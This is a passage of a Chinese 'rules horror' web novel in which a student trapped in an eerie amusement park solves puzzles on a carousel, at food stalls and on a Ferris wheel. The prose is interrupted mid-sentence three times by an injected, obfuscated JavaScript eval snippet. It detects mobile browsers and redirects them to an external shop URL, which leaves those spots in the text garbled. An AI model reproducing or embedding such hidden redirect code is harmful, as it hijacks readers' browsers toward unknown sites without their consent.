《搞了半天对象还得自己拼[无限流]》 1. 卷入游戏 厍(shè)砚回过神,发现自己站在一座游乐场的入口处。 “我怎么会在这里,我不是在睡觉吗?这里是……” 她下意识伸手摸出了手机,手机上赫然显示——下午4:30。 随后,熟练地输入密码解锁,试图查看定位,却发现上滑锁屏后手机显示一片空白。 “这是什么……意思?”厍砚愣了一下。 莫名的恐惧感爬上她的脊背,她猛地侧了一下头强迫自己甩掉这令人不悦的感觉。 她的视线刚接触到周围环境,就隐约觉得有哪些地方好像不太对——现在明明是下午四点半,光线却好像有些…… 过于昏暗了? 她扫视一圈周围,发现自己和这座游乐场处于深山老林中。抬头看了看天空,天空呈现温暖宁静的橙红色火烧云。 “不对,现在不是纠结光线的问题,我现在应该躺在宿舍里面呼呼大睡才对吧。” 厍砚皱了皱眉道:“难不成我现在是做梦吗。” 按照网络经典剧情来看,当你怀疑自己是不是真的在做梦,那么第一件事就是掐一下自己。厍砚也确实这么做了。 “挺疼……居然不是做梦,太诡异了。” 她注意到眼前的游乐场,决定先靠近看看情况。 乐园入口处是一道超大拱门,漆成红色,但可能是有些年头了,红漆掉了一些,大门看起来坑坑洼洼的,显得有些破旧,拱门顶上焊着一排字:欢迎。虽然只写了两个字,但并不工整,像被人用力拽过似的。 厍砚探头瞟了一眼检票口。 “没人吗……” 她转头发现闸机是开着的。从闸机口看进游乐场里,能看见许多游乐设施,游乐场该有的这里面好像都有,但无一例外都是静止的。 整个游乐场看起来就像废弃的一样冷清,看不到营业迹象。 虽然完全不知道现在到底发生了什么,但目前唯一的路也只有进去这游乐场看看了吧,毕竟这鸟不拉屎的丛林里,去废弃场所好歹不会被什么野兽吃掉。 厍砚缓缓进入游乐场,一边打量着周围,评估废弃程度。 进入游乐场后,第一眼便能看到正对着大门的旋转木马。 厍砚绕着旋转木马看了一圈,发现在背面的一根支撑柱上张贴着“游乐场游玩须知”。 “嗯?我看看……” 1.欢迎来到游乐园,您将在本园享受到vip待遇。 2.本园划分两个区域——游玩区和休息区。 3.游乐园游玩区开放时间为下午3:00至凌晨2:30。请在凌晨2:30前离开游玩区。如果您在凌晨2:30时仍在游玩区逗留,请立刻前往旋转木马设施处,将会配备专业工作人员帮助您。 4.游玩区共有五个游乐设施:开心旋转木马、过瘾碰碰车、哀伤摩天轮、惊悚鬼屋、愤怒过山车。游玩每个设施皆可获得特色印章。您需要在开放游玩的三天内集齐至少四枚不同的打卡印章。 5.集齐全部五枚不同的打卡印章将获得超级大惊喜! 6.游玩娱乐设施时请仔细阅读并理解注意事项,出现问题本园概不负责。 7.休息区在惊悚鬼屋后方五百米处。休息区为vip们设置了良好的休息设施。凌晨2:00之前休息区将进行清理维护暂不开放,敬请谅解! 8.休息区秉持着服务好每一位vip的基础原则,将给予顶级的安保服务,您在休息区内可安心享受一切休闲设施,绝对不会发生任何外来意外。 9.本园以让vip感到宾至如归为准则,休息区将会提供符合每一位vip的优质饮食,食材新鲜,您可以放心食用。 10.游玩区也将提供饮食服务,但出于成本考量,本园决定将游玩区饮食外包成流动商贩,vip客人可免费食用。但商贩质量良莠不齐,请您认真甄别,出现问题本园概不负责! 11.祝您游玩愉快,度过美好的三天! 厍砚翻来覆去看了两三遍,这张游玩规则上只写了这些规则。 认真读完这十一条游玩规则后,她莫名想起了在公开课上悄悄摸鱼看的规则怪谈类小说剧情。 别说,还真别说,现在这情况还挺像的……不对! 厍砚抽了抽嘴角:“不是吧……别人穿越是吃香喝辣的成就一番事业,我招惹到什么高等文明了这是。” 不对,再想想,我睡前干了什么,哦对,睡前耍手机和网友激情辩论自推行为逻辑和人物内核,还顺手看了一眼失联一个月疑似断崖分手的网恋男友“活”过来没…… 嗯,很好,压根没有什么用,现在确实是处于一种卷入不明规则怪谈类游戏的情况。 但是这类规则怪谈一般伴随着一定的死亡率,我可不想死在这个莫名其妙的地方啊。 必须尽力,谨慎小心地活下去! 以防万一,厍砚顺手撕下“游乐场游玩须知”,这玩意儿字太多了,能不背就不背吧,毕竟这又不是什么中学规则怪谈之类的东西。 厍砚仔细打量眼前巨大的旋转木马设施。 这个设施给人一种“建造资金一定十分充足”的感觉,各处雕刻的图案花纹栩栩如生,以金色为主,色彩搭配十分和谐,每个马座都很精致。 “没想到这游乐场大门这么破旧,里面的设施却建造的十分不错啊。”厍砚感叹。 厍砚并没有立刻游玩这些设施,而是寻找了一下休息区和其他设施的位置,留个印象,防止到时候像个无头苍蝇一样到处乱窜。 碰碰车在进门面对旋转木马的右手边,摩天轮在正后面,过山车在左手边,鬼屋位置较为隐蔽,在碰碰车的后面,从大门位置看过去,遮得严严实实的。 厍砚探查了设施后,说道:“这么大个游乐场,居然只放这么点设施,可能这就是所谓的新手关吧。” 她在旋转木马处搜了个遍,最后在一个红色小马上找到“旋转木马游玩注意事项”。 1.想要游玩旋转木马的客人请在游乐园正大门售票窗口进行登记。欢迎您从此处开始您的开心之旅! 2.旋转木马游玩流程大约需要两个小时,请您预留充足的时间进行游玩。 3.旋转木马游玩时不可中途停止,请勿随意离座走动,以免发生意外,感谢您的配合! 4.发生意外本园概不负责! 5.您游玩本项目的结束时间不可超过凌晨2:30,否则后果自负。 6.祝您游玩愉快! 厍砚阅读了两遍,留了个印象,顺手就将这张事项宣传单塞进裤兜里。她打开手机看了看现在的时间,下午5:37。 要不……试试? 厍砚犹豫了一下,看了看周围除了她以外再无一个人的环境,忍着心里的不安前往大门售票处登记。 她发现原本开着的闸门现在关上了,游乐场外的树林变得有些阴暗,仿佛蒙上了淡淡的黑雾,透露出些许不详的气息。 “感觉爬出去好像会有不好的结果发生,还是算了吧。”厍砚叹了口气。 转头去售票处准备登记游玩旋转木马的厍砚发现,原本无人的售票处端坐着一个疑似工作人员的人。 ta穿着经典款式的红黑色小丑服饰,头上戴着倒人字形分叉帽,画着依旧是经典款的小丑浓妆,看样子应该是个……男性吧? 厍砚打量着这个工作人员,这个工作人员看到厍砚,咧着嘴露出一个夸张的笑容,仿佛很开心厍砚的到来一般,热情地指着登记本说道: “哎呀,这里已经很久没有贵宾莅临了,能看到您这么尊贵的客人游玩我园,真是万分荣幸啊!” 厍砚顿了顿脚步,对这么热情的招待感到十分不自在,略显生硬地点点头回应道:“嗯。” 小丑似乎毫不在意厍砚的冷漠回应。他坐在售票室里微笑地看着厍砚登记。 “哎呀哎呀,尊贵的客人选择了旋转木马吗,明智的选择!您将得到最开心的体验!” 小丑没有看登记记录,却精准说出了厍砚的选择。 厍砚点点头,登记完后快速离开拱门售票处,显然她并不想和这个过于热情过于话唠的工作人员有不必要的交流。 在她登记完转身离开时,小丑依旧坐在正对着园内的售票室内看着厍砚离开,脸上依旧带着丝毫不变的微笑。 厍砚后知后觉, “不对,这售票室怎么是朝内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527508|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我记得在园外的时候……” 她猛地回头并迅速后退一步,看向售票处,小丑依旧坐在售票室笑着看她。 看向小丑的后面,才发现这个售票室是两通的,大概是为了方便而这样设计的吧。 哎真是,还没体验规则怪谈副本任务就自己吓自己,早晚得因为这奇怪的关注点吓死。 厍砚虚惊一场,手指轻轻抚摸了一下不断跳动的右眼皮,转身并向旁边移动一步,看向旋转木马。 此时的旋转木马不知什么时候在周围两米处围上了一圈红色护栏,厍砚把这归因为规则怪谈特有的“悄悄发生诡异变化”。 靠近旋转木马时,设施亮起绚丽多彩的灯光,红色护栏入口处开着,像是在迎接厍砚的游玩。 厍砚搓了搓手臂上的鸡皮疙瘩,在衣服上擦了擦手上冒出来的汗液,缓缓进入护栏内。 “您在害怕吗,尊贵的客人?” 小丑的声音骤然出现在厍砚耳边! 厍砚猛地闪到一边,看见原本在售票处的小丑不知何时也来到旋转木马区域内。 “呵呵呵,别害怕,我将为您开启娱乐设备。” 小丑笑嘻嘻地看着厍砚防备的神情动作。 听到小丑的话,厍砚瞬间就忍不住了,道: “不是,你既是售票员,又是设备管理员?这个游乐园给你多少工资啊这么拼。” 说完后厍砚瞬间后悔没控制住吐槽,深刻反思了一下情绪失控原因,或许是心理压力太大了吧。 小丑听到吐槽也不生气,依旧保持标准笑容,作出“请”的手势。 厍砚看对方没回应,心里暗松一口气,挑选了一匹蓝色马座,坐上去时暗暗告诫自己不要再随便吐槽了,这可是规则怪谈世界啊! 进入围栏前,厍砚看了一眼手机时间,显示现在是6:30。 嗯,时间充足,这个副本按道理(小说剧情)来说,应该是所谓的新手副本,如果不出意外,难度不会高,自己应该能苟过去……吧? 厍砚坐在旋转木马上思考着。 旋转木马装置刚启动,厍砚眼前突然一片漆黑,她愣了一下,紧接着四周恢复了光线。 厍砚揉了揉眼睛看向四周,发现所有的旋转木马已经在活动。 旋转木马外的区域变得漆黑无比,只有自己所在的旋转木马区十分明亮,而小丑却早已不见踪影。 她坐在上下活动的旋转木马上想着。 “不是,谜题呢?规则怪谈特有的谜题,在哪?” 厍砚坐在旋转木马上等待了十分钟,什么都没有发生。 “不会吧,不会真的简单到坐满俩小时就过关吧,那些小说里的恐怖情节莫非不能参考,或者新手关只筛选遵守规则的玩家?” 厍砚感到疑惑不解,感觉自己博览群书得到的智慧结晶和鼓起的勇气毫无用武之地。 就这么过了1.5小时,时间来到晚上八点。 厍砚百无聊赖地坐在旋转着的旋转木马上,掰着手指头数着不知道听了多少遍的背景音乐,眼光涣散地看向周围。 伴随着新一遍的欢乐bgm,厍砚余光看见斜后方的旋转木马上出现一个黑影。 她打起精神定睛一看,是人形的,像人! 以防万一,她悄悄观察了一会儿,斜后方那人注意到厍砚的视线,朝她看去,也露出了惊讶的表情。 那黑色人形首先开口,发出女性声音问道:“你,你是人类吗?” 厍砚思考了一下,不知道该不该回答。 她怕对方是专门冒充人类的东西。 黑色人影见厍砚不回复,好像有些着急,追问: “说话啊!前面那个坐在蓝色小马上的,呃……不明人形黑影!” 厍砚听见对方的追问,戒备心瞬间大幅度降低。忙开口回应: “是人类是人类!” 黑色人影听到回答,变得有些激动,说:“终于有人了,这破游乐场连个人影都看不见!” 厍砚听到对方的感叹,不确定售票的小丑算不算人,便没接对方的话,试探询问: “你也是人类?你知道现在是什么情况吗?你是做什么工作的?” 2. 首个关卡 那黑色人影明显被厍砚的三连疑问弄懵了几秒,仿佛在考虑该从哪个问题开始回复厍砚。 随后对方开口回答道: “我是人类,刚来这个游乐场不久,我是大三学生,上课打瞌睡就莫名其妙来这里了。” 听到回答,厍砚皱眉思考了一会儿,没等她开口在询问些什么,就看见大三生后面的多个旋转木马上冒出许多黑色人影。 转头一看前方,也冒出来许多人影。目测总共十几个。 距离游玩结束的最后20分钟里突然变得嘈杂起来,人们疑惑恐惧的声音混杂着欢快的背景音乐让这个娱乐设施变得热闹起来。 前方一个看起来比较高大的黑色人影发出洪亮的男声: “都安静一下,先听我说!” 他顿了顿,说: “我是有着两次通关经验的老玩家,大家听我说,这个副本是新手副本!难度不高,只要遵守规则就能通关,活着出去!” 周围人顿时发出疑惑的询问,但那位老玩家并没有回应大家的疑惑,再次开口强调: “我知道大家有很多疑惑,但是没时间一一解释了,你们一定要记得遵守规则!” 话音刚落,伴随着背景音乐又一遍播放完成,周围瞬间变得安静下来,周围的黑影们全都消失不见,只剩厍砚一人独自坐在旋转木马上。 “刚刚那些,都是真人,过关的最后关头才让我们这些所谓的玩家交流是何意味。” 厍砚心里快速吐槽这莫名其妙的环节。 很快厍砚就发现不对劲的地方,自从黑影们消失后,不仅音乐厅停了,旋转木马也缓缓降低速度停止下来。 厍砚摸出手机一看,嚯,八点半!这就通关了?太简单了这也。 她准备起身离开,潜意识却觉得不对劲,不对,有个地方我忽略掉了。继续坐在座位上的厍砚发现围栏外的世界依旧是漆黑一片。 这…… 虽然规则上没提到游玩结束是不是就这样的,但没有立马起身离开的厍砚发现,自己并没有因为没有离座而受到什么隐藏惩罚。 那么大胆猜测一下,现在这情况绝对有不对劲的地方! 厍砚掏出裤兜里揣得皱巴巴的旋转木马规则,仔细重新阅读了一遍。 “旋转木马游玩流程大约需要两个小时,请您预留充足的时间……旋转木马游玩时不可中途停止,请勿随意离座走动,以免发生意外。” 按照自己看的多本小说和恐怖解谜游戏经验。 “两个小时”是硬性要求,那么规则怪谈类世界很可能会在这上面做手脚。 厍砚再次掏出手机查看时间,现在是八点四十,距离规则说的俩小时流程已经结束十分钟了。 她沉下心仔细回想乘坐时的细节。 我的是蓝色小马。低头查看,核对无误,没有奇怪的变化。 六点半开始的关卡,八点出现黑影,开始莫名其妙的人类玩家交流环节。直到八点半就停止了。 其他的就只有……背景音乐! “我记得,八点黑影开始时,我数到……6。” 厍砚感觉自己好像抓住了关键点。 “对,黑影出现到结束,好像确实是正好播放了一遍完整的音乐。那么音乐停止的真正时间其实应该是八点十五才对。” 厍砚又看了一眼时间,八点四十一。 于是她等待了四分钟后,一只手的衣袖擦了擦另一只手中手心冒出来的汗,随后试探性的离开座位。 无事发生。 她默默感谢自己的第六感,这应该是捡回了一条小命啊。 厍砚向围栏出口处走去,发现半人高的围栏出口上贴了一张黑色便利贴,上面写着红色的字 ——谁是玛丽? 厍砚感到莫名其妙,愣了一下,她并没有发现这个旋转木马上有什么名字标识之类的东西。 她觉得顺手真是个好习惯,遇事不决翻出规则再看一遍说明。 根据那个老玩家黑影所说,这确实是个新手副本,那么我就要从规则本身开始入手研究。厍砚想。 “想要游玩旋转木马的客人请在游乐园正大门售票窗口进行登记。欢迎您从此处开始您的开心之旅!” 为什么是“从此处”,这句话指的应该不是从“旋转木马”开始开心的游乐园之旅。 毕竟不是每一个玩家都会选择旋转木马作为首个目标,规则怪谈的规则应该很严谨才对。 像是想到了什么,厍砚翻出得到的第一张规则说明,上面在各个娱乐设施前加了情绪词 ——“开心旋转木马”。 所以应该是从此处开始旋转木马的体验。 “从此处,从此处……不会这么离谱吧。” 厍砚看了一眼旋转木马规则单,又看了一眼捡到规则单时的那匹红色小马。难不成那匹小红马就是玛丽? 不,没这么简单。 玛丽,嗯,这个名字有点耳熟。 厍砚脑海里浮现出熟悉的旋律 ——那是坐旋转木马时自动播放的背景音。 那bgm吟唱的全是英文,对于厍砚这么一个四级没过的摆烂大学生来说,完全听不懂,但好在平时经常听音乐,所以能记住一些歌词。 玛丽这个名字正好是bgm里出现的第二个词。 厍砚走向红色小马,在它的后方,离它最近的小马是黄色的。 找到玛丽小马了,然后呢?厍砚看了四周,没有发现什么能作答的书写工具。 难道说…… 厍砚试着将黑色便利贴粘到黄色小马身上。 只听见咯吱一声。 围栏开了。 厍砚闻声,转头侧移一步,看向围栏口,发现旋转木马周围的景色恢复正常,围栏也消失不见。 小丑直愣愣站在原来的围栏入口处,脸上依旧挂着熟悉且夸张的热情笑容。 他发现厍砚看向自己,立刻夸张地鼓掌祝贺: “您真是太厉害啦!您玩开心旋转木马得开心吗?” 厍砚沉默一瞬:“这个开心的点是……?” 小丑笑嘻嘻地回应:“叛逆规则的任性客人会得到开心哦!不是吗?” 厍砚不想细究这句话的含义,没再说话。 小丑笑着说: “尊贵的客人,由于您不是任性的客人,所以我园将奖励您旋转木马专属纪念印章!” 伴随着不知哪来的喜庆音效,小丑递给厍砚一枚小巧精致的小马印章。 厍砚看了看依旧在笑的小丑,伸手接过小马印章。 小丑伸回手,向厍砚鞠了一躬,随后从身后掏出一块红布往身上一盖,瞬间消失在厍砚眼前。 “看来这玩意儿好像确实不是人。还是少惹他比较好。” 仔细端详手中的小马印章,做工精细,质感摸起来像玉石类。 厍砚将印章、手机和游乐场规则随手全揣在右裤兜,离开旋转木马区域。 …… 休息区半夜两点这个阴间时间才开放,从进入这个游乐园,到有惊无险拿到一枚印章,已经过去五六个小时的时间了。 厍砚现在平静下来,感受到身体传来的饥饿感。 她摸了摸肚子,四处寻找游乐园规则上写着——游玩区提供饮食服务,外包成流动商贩,vip客人免费食用。 在哪,食物……我需要食物! 如果等到两点去休息区进食,厍砚怀疑到时候自己早就饿死了,可能这是规则怪谈世界的力量吧。 在经过一番寻找后,厍砚在摩天轮附近的绿化带后面找到了几个小摊点。 四个商贩打扮看起来也不太像人类 ——卖鸡腿的商贩戴着萌系小鸡头套、卖烤玉米的商贩戴着玉米头套、卖爆米花的商贩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527509|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戴着巨大玉米粒头套、卖烤肠的商贩戴着萌系猪头头套。 这算什么,俺老猪也吃猪肉吗? 厍砚默默吐槽了一下,还是掏出规则再看一遍。 ——商贩质量良莠不齐,请您认真甄别,出现问题本园概不负责! 所以并不是所有的小摊食物都能吃。 厍砚叹了口气,决定还是在附近找找有没有什么提示。 她缓缓走向那几个商贩小摊观察。卖鸡腿的商贩看到厍砚来,就好像刚活过来了一样开始热情地招呼: “哇,终于有客人来了,客人快看看,我这食材新鲜,味道绝对是算得上号的!” 厍砚没说话,低头看了一眼摊位上卖的烤鸡腿,和她原本的世界卖的看不出什么差别。 于是转头看向其他家。 “我这食材是刚摘下来的!”卖玉米的商贩赶紧说。 爆米花商贩和卖烤肠的也跟着开口“我这质量上乘,都是现做的!”“我这可是正宗顶级黑猪肉!” 厍砚来回看了四个摊位卖的食物,没有发现什么异常的情况。 她皱眉思考,这光看也看不出来什么不一样的,怎么像游乐场规则里写的那样区分好坏呢? 抓耳挠腮不得要领的可怜女大,视线就这么左右来回地扫视四个商贩。 几个商贩随着厍砚视线的“光临”说出重复的话,虽然它们的肢体动作看起来很有活人味,但至于是不是真的活人就不得而知了。 周围没有发现什么额外的规则小纸条,那么破题的关键就在于商贩们说的话和自己手里拥有的游乐场规则。 厍砚下意识伸手摸了摸放了全部财产的右裤兜。 唉?怎么感觉好像少了点什么东西。 反复摸索后,厍砚发现刚刚获得的旋转木马印章不翼而飞。 她顿时有些着急起来。 “不应该啊,怎么可能会掉。” 手指略有些颤抖地掏出兜里揣的所有东西,不小心划开了手机锁屏界面。 厍砚条件反射地顺着自己按出的光源看过去,划开锁屏后原本应该空白一片的页面此时多了一个有些眼熟的图标。 她仔细辨认,发现这个图标和小马印章长得一模一样。 “原来如此,来到这个规则怪谈世界后手机变得不正常,应该是受到了规则怪谈的力量影响,所以直接就把我获得的怪谈物品吞进去储存起来了。” 厍砚猜测。 手机里除了印章图标外再无其它的内容变化。 越来越强烈的饥饿感拉回厍砚的思绪,让她难以无视当下所处的情况。 ——本园以让vip感到宾至如归为准则,休息区将会提供符合每一位vip的优质饮食,食材新鲜,您可以放心食用。 “宾至如归……意思是要我选择自己喜欢吃的?” 厍砚这么猜想,但随即她否定了这个猜测。 “如果是选自己喜欢吃的,那么规则怪谈要怎么判定玩家的选择是正确的?毕竟有些玩家会选择全都要不是吗?但是规则上明确指出要玩家进行甄别,所以说并不是选择自己喜欢吃的这么简单。” 厍砚忍着饥饿皱眉逐字逐句查看规则。 随后她的脑子里冒出一个大胆的猜测 ——规则每一个字一定是经得起推敲的,“商贩质量良莠不齐”,为什么是商贩质量,难道不应该是“商贩卖的商品良莠不齐吗?” 所以……应该重点查看商贩本身的质量! 厍砚松了一口气, “所以只要选择质量好的商贩卖的食物就没问题了。” 她四处看了看,在绿化带草丛里意外发现传说中的“物理学圣剑” ——撬棍! 厍砚捡起撬棍用衣服擦了擦,暗自吐槽“为什么游乐场绿化带会有撬棍,完全不合理!” 随后,她拿起撬棍向四个商贩走去。 3. 仔细甄别 厍砚拿起撬棍,绕到四个商贩背后。 商贩们没有对她的行为作出反应,只是直直地站在摊位前。 厍砚试探性地轻轻敲了敲其中一个商贩,商贩没反应。 于是她知道,心里的猜测被证实了。 砰砰砰砰的四下砸向商贩背部,四个商贩中有三个像烂泥一样瞬间被打得稀烂。 剩下一个卖烤玉米的商贩纹丝不动。 厍砚连忙拿起摊位上的烤玉米准备大快朵颐。 但她抬眼看了看站在摊位前的商贩,心中稍微感觉有一丝不对劲。 商贩的话浮现在她的脑海里——“我这食材新鲜,味道绝对是算得上号的!”“我这食材是刚摘下来的!”“我这质量上乘,都是现做的!”“我这可是正宗顶级黑猪肉!” 这些话听着有些奇怪啊。 厍砚发现他们说的全是“我这食材”“我这”。 商贩说的这些介绍就好像他们自己是食材似的。 厍砚缓缓放下手中刚拿起的热乎烤玉米,盯着烤玉米摊贩。 它的头上戴着玉米头套,完全看不见头套下面是什么样的。 不仔细看还没发现,这玉米头套看着大,但真套进成年人的头里,即使是比较小的女性头颅也很难套进去。 或许…… 厍砚攥紧撬棍,轻轻戳了戳商贩头上戴的玉米头套。 玉米头套碰到撬棍瞬间掉落下来,厍砚再一抬头便发现商贩消失了。 她捡起玉米头套试探性咬了一口,意外的是,这玉米头套并不像她想象中的那样是大号玉米棒,而是做成玉米样式的面包。 “真是意外……”厍砚心想。 “吃个饭这么折磨吗,如果这个环节吃错东西了,不知道会死还是获得什么负面效果。” 饱餐一顿后,厍砚打开手机看了一眼时间——晚上10:04。 这个时间……要去另一个项目吗,还是说找个地方待着直到两点去休息区休息。 找个地待着消磨时间显然不是一个好决定,在这个将近四个小时的空窗期内,如果什么都不干很可能会丧失掉一些没发现的关键线索。 厍砚决定先去搜集其他几个项目的规则须知单。 她将搜集到的信息经过比对整理,发现剩下的三个多小时的时间里可以去体验游玩时间最少的摩天轮。 摩天轮游玩须知—— 1.想要游玩哀伤摩天轮的客人请在游乐园正大门售票窗口进行登记。祝您游玩愉快! 2.摩天轮游玩流程在两个小时以内,请您计算好时间进行游玩,以获得较好的游玩体验。 3.摩天轮的设立初心是让每一位客人观赏到最美妙的夜景,您可以放心观赏! 4.发生意外本园概不负责! 5.您游玩本项目的结束时间不可超过凌晨2:30,否则后果自负。 6.祝您游玩愉快! …… 摩天轮须知看起来并没有什么特别之处,甚至并不能从中思考到什么隐藏危险。 厍砚前往大门售票处进行登记。游乐场在夜晚时亮起许多彩灯,虽然整个游乐场现在大约只有厍砚一个人,但比起傍晚时破旧冷清的场景要好很多。 登记处的小丑脸上依旧带着标志性的笑容。 “尊贵的客人,您这么快就要进行下一项游玩项目了吗?” 小丑笑嘻嘻地询问, “您吃过娱乐区的食物了吗,味道如何?” 厍砚感到有些疲惫,不想耗费多余的精力去应付一个疑似不是人的生物,但也不好无视他,于是她随口敷衍道: “嗯,还行。” 登记完后就迅速离开了大门。 厍砚来到摩天轮场地前,场地附近依旧围上一圈红色护栏。 以防万一,她绕着外场转了一圈看看有没有什么额外的东西出现。 进入围栏内,发现小丑已经站在摩天轮下开启厢门,等待厍砚游玩。 厍砚发现小丑这次没说话,只是依旧笑着看她,于是她好奇地问: “你没有什么话要对我说吗?” 小丑像是有些意外厍砚的问题,咧着嘴笑着反问: “尊贵的客人,您希望我说什么?” 厍砚不再说话,毕竟这个npc说出来的话里确实也没有什么有用的信息。 她摇了摇头,在小丑的微笑注视下转身进入摩天轮厢体内。 ——晚上10:15。 摩天轮外观高大,看起来十分崭新,蓝黄配色,富有童趣。 厢体内坐垫蓬松,整体内饰色彩搭配和谐,用料看起来像是下了一番真功夫的。 厍砚坐在坐垫上左右扫视一圈,心想: “这个游乐场估计就只有大门是破的吧。” 摩天轮开始运行,窗外的景色逐渐开始下沉,整个游乐场的全景呈现在眼前。偌大的一个游乐园此刻一览无余。 正常情况下摩天轮一般20分钟就能坐完,看来现在这个摩天轮也不是什么善茬。 厍砚看着窗外的景色,思维开始发散,脑中不由自主列举多个可能发生的坏情况。 就这么度过了无事发生的、漫长且无聊的十分钟。 厍砚逐渐感觉到难以抵抗的睡意,她拼尽全部注意力却依旧无法战胜,就这么沉沉地睡过去。 厍砚在梦里感受到刺眼的光线,睁开眼环顾四周,发现自己竟然在课堂上睡着了。 睡着之前发生了什么来着…… 厍砚晃了晃头,只觉得脑子里像被糊上了浆糊。 算了,想不起来就不想了,大概也不是什么重要的事,毕竟如果真是什么重要的事,自己是绝对不会睡着的。厍砚摸了摸下巴想着。 课堂上的老师正在照着ppt一页一页地念着,时不时提醒走神的同学们把必考重点拍下来。 厍砚分出一点注意力机械地听从老师的指令,然后就神游天外去了。 下课后,厍砚走出教室。 “啊,不好意思不好意思……”厍砚连忙道歉。 但她抬头看向对方,发现自己怎么都看不清对方的脸,定睛一看,对方身材高大,但整个身体像是被笼罩在不明黑雾里。 厍砚连忙后退一步,揉了揉眼睛,怀疑自己是不是还没睡醒。但经过再三确认后发现这是真的。 那个黑影开口发出男声,说道: “没事,小妹妹。对了,你在这个副本关卡有没有找到什么线索?” 厍砚愣了一下,对方说的每一个字她都能听懂,但合起来的句子意思是什么,什么副本?什么线索? 厍砚看对面这个黑黢黢的人影还在等待自己的回答。 她斟酌了一下,认为要么是自己的眼睛出了问题,并且遇到了精神不太正常的人,要么就是自己现在其实还在梦里。 后者情况考虑了也没什么用,厍砚认为最稳妥的方式还是以前者情况为基础,先稳住对方,尽量不要激怒对方,顺着对方回答。 “没发现什么线索,你呢?你有发现什么吗?” 厍砚装作镇定地回答到,并试图套出这个人的信息。 “进入摩天轮后我只觉得眼睛一闭一睁就来到这里了,这个学校应该就是主要通关场所,但很遗憾,我也是才刚来到这个地方,目前我对周围的环境也还不太熟悉。” 黑影人看起来有些尴尬地挠了挠头。 “这样啊,其实我也是刚来的,所以我也不太熟悉。”厍砚继续忽悠道。 “好吧,那看来现在只能暂时继续观察情况了。”黑影人叹了一口气, “我在的班级是精神医学3班,你如果有什么发现可以来找我。”说完他就走了。 厍砚喃喃自语: “精神医学……我的学校里有这个专业吗?我怎么不知道。” 她用大拇指按了按自己的太阳穴,试图缓解头脑发胀的感觉。 但越是这种感觉阻止她思考,她越想捋清楚。 “我怎么好像记得,我读的学校不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527510|203586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是什么医学院吧……” 厍砚思考后发现一个盲点: “不对,我为什么要相信一个疑似精神不太正常的黑色人影说的胡话。” 但在好奇心的驱使下,厍砚求助询问一位好心同学后得知,确实存在精神医学这个专业,并收获了一枚莫名其妙的打量。 得知位置后厍砚前往精神医学专业所在学院区域,并且真真切切地看见众多教师门外的电子课表上清楚地记录了精神医学的专业课程。 “不对,不对。我读的学校不应该出现这个专业,怎么回事,是我的记忆出现混乱,还是我在做梦?” 厍砚一时间不知道现在究竟是什么情况,无意识地回到记忆中的宿舍。 宿舍中只有她一人,因为其他室友和她并不是一个专业的。 厍砚坐在椅子上混乱地思考这一切,从左裤兜里掏出手机点开聊天记录准备向好友和男友说明这件事。 好友和男友纷纷调侃她是不是准备期末周压力大到精神失常了。 厍砚无奈笑了一下,摇了摇头。 好友随后担忧地发送消息问她: “厍砚,你真的没事吗?虽然但是,别给自己太大压力了哦。” 厍砚心中一暖,回复道:“没事,我可能是睡糊涂了吧。” 回复完后厍砚隐约感觉不对劲,但又说不上来了。 和对方随口拉扯两句后,好友突然提出要来找厍砚出去玩。 这个朋友和厍砚保持着多年网友关系,双方并没有见过面。 厍砚并没有做好面基的打算,笑着向对方婉拒回复: “那你来吧,只要你能找到我在哪^^。” 对方却好像十分诧异: “你在说什么胡话,我当然知道你在哪啊,我们不是发小吗,这都多少年了你什么事没和我说过?话说你最后那个‘^^’是什么意思?” 厍砚愣了一下,这个自己记忆中的好友完全不一样! 怎么回事,自己明明没有发小,唯一的好友就是网上的聊了五六年的网友。 她的思绪一下子变得有些混乱,思维冷静不下来,看对方的语气也不像是在跟自己开玩笑。 因为她很清楚的记得,自己发的“^^”微笑符号就是跟那个好友学的! 厍砚顿时感到十分甚至九分的不对劲,强烈的违和感带给她的恐惧感让她不敢再继续和这个所谓的“好友”聊下去。 于是她切换聊天窗口到男友那边,界面停留在男友刚才的回复上。 男友?不对啊,我明明记得…… 厍砚的头又开始了熟悉的发胀感。 “我这脑子今天是怎么个回事,不仅掉链子还背刺我!” 厍砚心里莫名感到愤怒, “我一定要知道究竟是怎么回事!” 厍砚开始继续与这难受的感觉抗衡,反复在脑海里翻找真正的记忆。 她的眼睛瞥向和男友的聊天界面,试图回忆这个所谓的“男友”的相关信息,但脑子里关于这个人的信息完全是一片空白。 厍砚掐了一下自己的手臂试图清醒。 强烈且尖锐的疼痛感让她注意到其他不对劲的地方,她的右裤兜里好像有什么硌人的东西。 